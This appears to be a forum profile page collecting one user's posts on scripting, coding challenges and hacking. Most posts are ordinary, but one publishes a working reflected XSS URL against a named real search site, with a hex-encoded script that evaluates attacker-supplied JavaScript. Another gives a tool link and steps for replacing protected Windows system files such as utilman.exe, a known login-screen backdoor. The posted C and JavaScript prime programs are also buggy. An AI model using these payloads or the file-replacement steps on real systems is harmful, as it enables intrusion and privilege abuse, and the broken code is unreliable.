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    Batch file help

    in Questions

    Posted

    Do you mean like a check if the command executed properly?

    Such as:

    net localgroup administrators /add %uname%

if %ERRORLEVEL% neq 0 goto failed

echo The Command Was Successful!

goto done

:failed

echo Tho Command Failed.

:done

exit

    CMD Buffer Overflow

    in Questions

    Posted

    Wow. Windows Server 2003's cmd.exe does nothing, it doesn't give me a DEP message, no "AAAAAAAAAA..." cannot be found as would be expected. Nothing.

    But in command.com on the same machine, when I pasted it, it started making this long sequence of beeps from the motherboard, then when the beeping stopped, i just closed the window and didn't want to even try running it, but I then got a Stop Error (BSOD) and had to ruin my uptime. (I know, dont test exploits on your webserver)

    #include <coding challange>

    in Questions

    Posted

    Well, first of all, my C code is more of an example then an implementation.

    There are many faster ways to find primes.

    And on a technicallity he said any possible number, he didnt specify possible as in with any number, or possible as in using the language's built in functions :), but im not that much of a cheater.

    My next example will be in C++ and I just might have to whip out my infinite number class.

    #include <coding challange>

    in Questions

    Posted

    Mines in pure C.

    This will be simple so people can get a good look, but beware I am away from my compiler atm so there may be errors.

    //Prime Number Program By Mick

#include &lt;stdio.h&gt;

#include &lt;math.h&gt;

int isprime(int num){int i;

for (i=num-1;i&gt;1;i--){if (num==floor(num/i)*i) {return false;}}

return true;}

int main(){

int n1,n2,n3;

printf("Enter Number 1 ");scanf("%d",n1);

printf("Enter Number 2 ");scanf("%d",n2);

if (n1&lt;0){n1=0;}if (n2&lt;0){n2=0;}

if (n1&gt;n2){n3=n2;n2=n1;n1=n3;}

for(n3=n1;n3&lt;n2;n3++){if (isprime(n3)) {printf("%dn",n3);}}

return 0;

}

    EDIT: Ported to javascript :)

    (TESTED) EDIT: Optimised A Little :)

    //Prime Number Script By Mick 

function isprime(num){

if (!(num%2)){return false;}

if (!(num%5)){return false;}

if (!(num%9)){return false;}

var sn=Math.sqrt(num);

for (i=(num-1)/2;i&gt;sn;i--){if (num==Math.floor(num/i)*i) {return false;}} 

return true;} 

var n1,n2,n3;

n1=prompt("Enter Number 1",""); 

n2=prompt("Enter Number 2",""); 

if (n1&lt;0){n1=0;}if (n2&lt;0){n2=0;} 

if (n1&gt;n2){n3=n2;n2=n1;n1=n3;} 

for(n3=n1;n3&lt;n2;n3++){if (isprime(n3)) {document.write("&lt;div /&gt;"+n3);}}

    Still more to come!

    Can anyone code this?

    in Questions

    Posted

    Wow i programed a white hat... =O lol. yay i gain a point. VB6 ftw!! (me and a few mates are competing against each other "i can do anythink u can do better - VB6 Vs. C++"

    Heres a challenge, make it run on Linux, MacOS, Mac OS X, FreeBSD, Minix, iPods, Xbox GC PS2, or anything else that doesn't have windows on it. :twisted:

    (ReactOS doesn't count beacuse it is binary compatible with windows)

    (btw, im a VB hater, i've lost too many beginning programmers to the noob oriented virus/script kiddie language.)

    Podzinger XSS Exploit.

    in Questions

    Posted

    I've found an XSS vuneribility in the podzinger search engine.

    It also works on the hak5 search page and any other podzinger search.

    (All it does is pop up and prompt you for some javascript code, then

    executes it, but it could be changed to anything)

    http://hak5.podzinger.com/results.jsp?col=en-all-pod-ep&s=PZSID_

    videopods_videopod0_3_7_0003&s=PZSID_pods_pod3_3_1_0007

    &sname=Hak.5&q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String

    The actual URL is

    http://hak5.podzinger.com/results.jsp?col=en-all-pod-ep&amp;s=PZSID_vi

deopods_videopod0_3_7_0003&amp;s=PZSID_pods_pod3_3_1_0007&amp;sname=Hak

.5&amp;q=Dummy+String++++++++++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++%3Cscript%3Evar+codehex%3D%22

+76+61+72+20+64+73+3D+64+6F+63+75+6D+65+6E+74+2E+67+65+74+

45+6C+65+6D+65+6E+74+42+79+49+64+28+22+74+6F+70+51+75+65+

72+79+22+29+3B+64+73+2E+76+61+6C+75+65+3D+22+44+75+6D+6D+

79+20+53+74+72+69+6E+67+22+3B+64+6F+63+75+6D+65+6E+74+2E+

74+69+74+6C+65+3D+22+50+4F+44+5A+49+4E+47+45+52+3A+20+44+

75+6D+6D+79+20+53+74+72+69+6E+67+22+3B%22%2B%22+65+76+61

+6C+28+70+72+6F+6D+70+74+28+22+43+6F+64+65+20+54+6F+20+45

+78+65+63+75+74+65+22+2C+22+61+6C+65+72+74+28+27+48+65+6C

+6C+6F+2C+20+57+6F+72+6C+64+21+27+29+3B+22+29+29+3B%22%3B

if+%28xssae+%21%3D+%22dun%22%29%7Beval%28unescape%28codehe

x.split%28%22+%22%29.join%28%22%25%22%29%29%29%3Bvar+xssae

%3D%22dun%22%3B%7D%3C%2Fscript%3E

    And it decodes and executes this code:

    var ds=document.getElementById("topQuery");

ds.value="Dummy String";

document.title="PODZINGER: Dummy String";

eval(prompt("Code To Execute","alert('Hello, World!');"));

    Perl or Python?

    in Questions

    Posted

    Of those two, I would say python.

    Then I would say to move on to something a little more advanced later.

    I would say that C++ (or java...) wouldn't be too hard coming from python.

    Then when you feel like a master computer programmer make yourself feel like a little newbie looking at Hello World in assembely.

    Learning ASM kinda gives you a universal keygen. :wink:

    System File Unlocker

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    Posted

    Maybe i should be more clear.

    Use it to unprotect "C:windowssystem32utilman.exe"

    Then on that one unlock, you have to replace both:

    "C:windowssystem32utilman.exe" AND

    "C:windowssystem32dllcacheutilman.exe"

    And get at least two feet off the ground before the tempature sensors turn back on, then you will have a 12 second window to climb up the wire you are hanging by before the lazers activate, your infrafed glases will allow you to see them so you can avoid them as you crawl out of the ventelation ducts onto the 82nd floor, where you will exit through the window and knock out the window washer, then ride the cart down to the 30th story, where you will short the UP button and let it just go straight up and will eventually hit the top and set off the roof alarm, this will distract the guards at the front, using your magnetic suit, slide down the side and enter the taxicab 1 car up from the corner on the left and ride back to your desktop.

    </ far-fetched story written out of boredom>

    System File Unlocker

    in Questions

    Posted

    Hey, in response to the UtilMan.exe hack thingy.

    I made a little proggie that unlocks any system file.

    The best part about it is that it uses undocumented, unnamed, unauthorized microsoft API.

    Here is the precompiled program and the source code.

    http://zxcvbnm.zapto.org/apps/SFCD

    Ive been able to replace utilman.exe (and any other system file i tried)

    without rebooting.

    EDIT: Instructions:

    1. Resign the file you want to replace. (I would suggest using LordPE)

    2. Unlock the file with my program. (C:WindowsSystem32notepad.exe)

    3. Replace the actual file. (C:WindowsSystem32notepad.exe)

    4. Replace the dllcache file. (C:WindowsSystem32dllcachenotepad.exe)

    5. Let the time expire on the program.

    Download LordPE

    whats a great online remote desktop?

    in Everything Else

    Posted

    I would say go for UltraVNC and enable the java viewer.

    I did that so i could do remote administration on my webserver easily without downloading anything on the client computer.

    If you aren't already you may also need to get intimate with DMZ.

    (and DynDNS (or No-IP)) if your IP changes or you just cant remember the numbers.

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